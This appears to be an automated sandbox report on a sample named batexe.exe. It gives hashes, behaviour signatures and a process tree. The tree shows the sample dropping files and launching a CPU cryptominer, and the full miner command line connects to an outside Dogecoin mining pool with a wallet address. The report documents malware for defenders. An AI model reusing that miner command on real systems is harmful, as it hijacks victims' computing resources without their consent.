Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
295s -
max time network
306s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
18/02/2024, 07:11
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 2320 b2e.exe 3260 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3260 cpuminer-sse2.exe 3260 cpuminer-sse2.exe 3260 cpuminer-sse2.exe 3260 cpuminer-sse2.exe 3260 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/4192-4-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4192 wrote to memory of 2320 4192 batexe.exe 74 PID 4192 wrote to memory of 2320 4192 batexe.exe 74 PID 4192 wrote to memory of 2320 4192 batexe.exe 74 PID 2320 wrote to memory of 2268 2320 b2e.exe 75 PID 2320 wrote to memory of 2268 2320 b2e.exe 75 PID 2320 wrote to memory of 2268 2320 b2e.exe 75 PID 2268 wrote to memory of 3260 2268 cmd.exe 78 PID 2268 wrote to memory of 3260 2268 cmd.exe 78
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Users\Admin\AppData\Local\Temp\213F.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\213F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\213F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\26BD.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3260
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.4MB
MD5000f75482a8f3c361e1ef9b58a16ee5f
SHA14e67fd460b9fa59dc5c1147833ad2f40f94d0279
SHA2565143fc3449d84ea5cf510321dc92e2e28e68385863a6b07da646a406b53a875e
SHA512fe72c633e123cea33c480746a4534fe6228f2c1f6184edbc75c144a201fb556ba0d68415c2abaa9c844a39bb900300f24476e38a4e13825829da54d629eaf152
-
Filesize
2.6MB
MD5a6832e3bfe8fa4cb3914e6021085d254
SHA1e4e30f4649f0a3b09790ef4831411c105b03e2f1
SHA256ce0829bf77d3b8671745944cb6e9836f80f9d5d3846ee53ed1b0dbb64b1a0e98
SHA51218904cc3ffa5e154fe5d25c11d36ab32cf920eb272cc497c01ae1be3013b3a2bac7d64fcd3eb333c9992783ccf72b2971f37528517712ed5d16bc469dc1e1b63
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.3MB
MD5a4bda0cd7a9d809c59c505bed6e5279f
SHA12bb7154cdd78acd2a14d151f747173292eab6935
SHA256f29d076136b1ae31e15d2f9d0fbbb4ff5db83d162affd07d0602aabfff6f53ca
SHA512216ad4da690a71fff953d4b400852c70299e6bd08dfad03be5edb2699ce58f74d2935bb52838253175d598165c7301c9855d5cbf803a98fd03857461f1ec3de3
-
Filesize
255KB
MD5e947a5cc4f6a25559b69b4ee1583b79b
SHA1bf111afbd49d77b8eabfa2259db7f82cb4f187ce
SHA256d2ee582cb6bec9c6efc1e97f535f974dce118e70381a02fa0e84345420da04b3
SHA512a345bd62138408361b17714a739b06f648fd5a8da16e6d8a7b96f120a74be4a144c7d647e087f029109d72c6dab5a31435b331c5916df4829fc1a7700c9cf9a6
-
Filesize
819KB
MD5a0f1224bad4954fb0bab37a98391721d
SHA1cda6d6a14f74f3df7cc098fe3093e624e9a4baa2
SHA256159f54c08f65883c0d334c284f872f74564750ca2c806f0d4aacc2f88ab37b65
SHA51266791c0c75398e61d6fcbca9a85c5fb7e6c1619e68509ae8cd5eabe280b61bbc4bc17901d3b04f1c6d14aab7327ddbc09c22d833b7cd671fa87150d84156ee84
-
Filesize
758KB
MD53b26401d9bdd4e6b77cc06d257caf3fc
SHA162e50618c70c2c66a07998b76240db15f430dbbc
SHA256195482f095607717339292d8d280caf1f8b778062cb7102876ae3de92029e241
SHA512c71b8aab5278b192f6f59c903aa2aa29c88e292208ed174abcd51cf0f9a32fe97549c606b6b84b92e37263e0d2d4070343fc99726f4dac2578ca40c607f02ba7
-
Filesize
650KB
MD59bc843f195c2aa55964b77ae79864e58
SHA1d8891ceb0dfacdb61b8918721dd27df53a3ac046
SHA2562cd82d52ce41f882e7b044520dc457bbc14a4b1c600d3f4699e461cfa3121656
SHA512059c6c3c014b2a8961937ea78f389b6503aa06dc9b734441b62b1ae53047395a15920dd95f2c3296291a1bfc821eea37d76181429a28666b82f6f7af1cd07d7b
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
-
Filesize
629KB
MD5f60e177e2f0fef16df88928b1560cf9a
SHA1a59a1d0db8a68228c8f8d8d9829a043cfa09628f
SHA25609ca505dd6ce0dcc6a3649460f1ee6ed4902f6a1b68128b2e9346342a06196fa
SHA512450d648b2f1d892186f1176b0fce69e7ebc04d84d7f06885513c4053ce9b68409fa1e2951ee3bf099b54b4dab954c5208367c6029ff7a017a2e78bd5dd7cc858
-
Filesize
648KB
MD5948c9ea55993ee06a3f1feb4587f0f1c
SHA10d80a18c42b8ebb06711f3ade762c2b2ffd6999e
SHA2565333f120fac1f5bb87fbc28f09857ac3d0f3fb8bd0d5136784bd408e344b598b
SHA51240d6cf3f9f6f3f7e6319bcc710ffb99110abaf0154de58f3b364a7bb038299194c97a31a20e7e45ef722038d413d3fd377957a8b95aceade7136cb4d3d3c77c6
-
Filesize
476KB
MD551c5eaafc5fed9b83243e7e9d5b4d452
SHA176e043d1518ca33be8a3234eb1784245be78b26d
SHA256fa6cc75f04d12c0a5c5e021e5f4fdba8e7e8e6549a993f5b0b6c4215c328486a
SHA512fc45d2c17f9bcd8610204335db87409fa2ffae93d8db1196e664bdf338e42bfef730f594816081e58dbeb409a1037e420d0b97cca562cd07fb9067de43ad1530
-
Filesize
399KB
MD5ad87e586af3b1902e28f459d629216b5
SHA1904b349a7743ad59aa6db40ca55beb3543bbadf1
SHA25649b80a6feb8887903d8f486d05c78ae19e83e18e2b8f93693b7c198a50aaafaf
SHA5120f77369deb474a4ceb993f75bf765d3025aee906e0c4ddbb10e5cdf668e0f5238ab86b07c2d7958f27842dbf95562df7f8239775a8afc1dbf226482426850866
-
Filesize
590KB
MD560ade7a962d7993dc78ee75f64bf2754
SHA1a8010f761e5a0e8aea3ad889340ad116dcf62cc3
SHA25669d13e181b62cb3a6be5ac7384c398dd339eae685fa05b65a21f5905f9e2109c
SHA512311d8be58a516b263332aeeb8387a3357d231b591bbdb586f4bf20042794b7ab212040e03c4e85fc4988568c02df7ac0995e38e6cd9626245774c6d17a473cdf